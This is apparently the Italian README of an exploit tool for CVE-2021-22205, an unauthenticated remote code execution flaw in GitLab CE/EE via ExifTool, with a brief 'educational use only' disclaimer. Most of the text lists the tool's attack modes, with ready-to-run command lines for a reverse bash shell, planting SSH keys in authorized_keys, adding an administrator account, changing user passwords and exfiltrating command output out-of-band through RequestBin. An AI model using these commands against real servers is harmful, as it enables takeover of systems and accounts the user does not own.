
GitLab CE/EE RCE pre-autenticazione tramite ExifTool
GitLab CE/EE RCE non autenticato tramite ExifTool
Questo progetto è solo a scopo didattico; se qualcuno è stato danneggiato, contattatemi per rimuovere il progetto. Infine, NON USARLO ILLEGALMENTE. Se durante l'utilizzo di questo strumento commetti atti illegali, te ne assumerai tutte le conseguenze. Tutti gli sviluppatori e i collaboratori di questo strumento declinano ogni responsabilità legale e solidale.
È stato scoperto un problema in GitLab CE/EE che interessa tutte le versioni a partire dalla 11.9. GitLab non convalidava correttamente i file immagine passati a un parser, causando l'esecuzione di comandi remoti.
Versioni interessate:
Rilevamento della versione di Gitlab tramite l'hash in Webpack manifest.json
Interazioni automatiche out-of-band con DNSLog e PostBin RequestBin
Supporto Reverse Bash Shell / Aggiunta chiave SSH a authorized_keys
Supporto INVIO per modificare e ripristinare la password dell'utente gitlab
🐚 ››› python CVE-2021-22205.py
░░░░▐▐░░░ CVE-2021-22205
▐ ░░░░░▄██▄▄ GitLab CE/EE Unauthenticated RCE using ExifTool
▀▀██████▀░░ Affecting all versions starting from 11.9
░░▐▐░░▐▐░░ security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild
▒▒▒▐▐▒▒▐▐▒ github.com/inspiringz/CVE-2021-22205
Usage:
python3 CVE-2021-22205.py -u site_url -m detect # gitlab version & vuln detect
python3 CVE-2021-22205.py -u site_url -m rce1 'id' # rce (echo via requestbin oob)
python3 CVE-2021-22205.py -u site_url -m rce2 'id' # rce (echo via write file) *
python3 CVE-2021-22205.py -u site_url -m rev ip port # reverse bash shell
python3 CVE-2021-22205.py -u site_url -m ssh git/root # append ssh authorized_keys
python3 CVE-2021-22205.py -u site_url -m add user pass # add manager account *
python3 CVE-2021-22205.py -u site_url -m mod user # modify specified user's password => P4ss@GitLab
python3 CVE-2021-22205.py -u site_url -m rec user # restore specified user's original password
site_url deve essere nel formato: http[s]://<dominio|ip>[:porta]/, ad esempio: https://example.com:9000/* sono instabili e potrebbero non funzionare :(Rilevamento:

RCE (Echo via RequestBin OOB):

Reverse Bash Shell:

Aggiunta chiave SSH a authorized_keys:

Modifica e ripristino della password utente Gitlab:
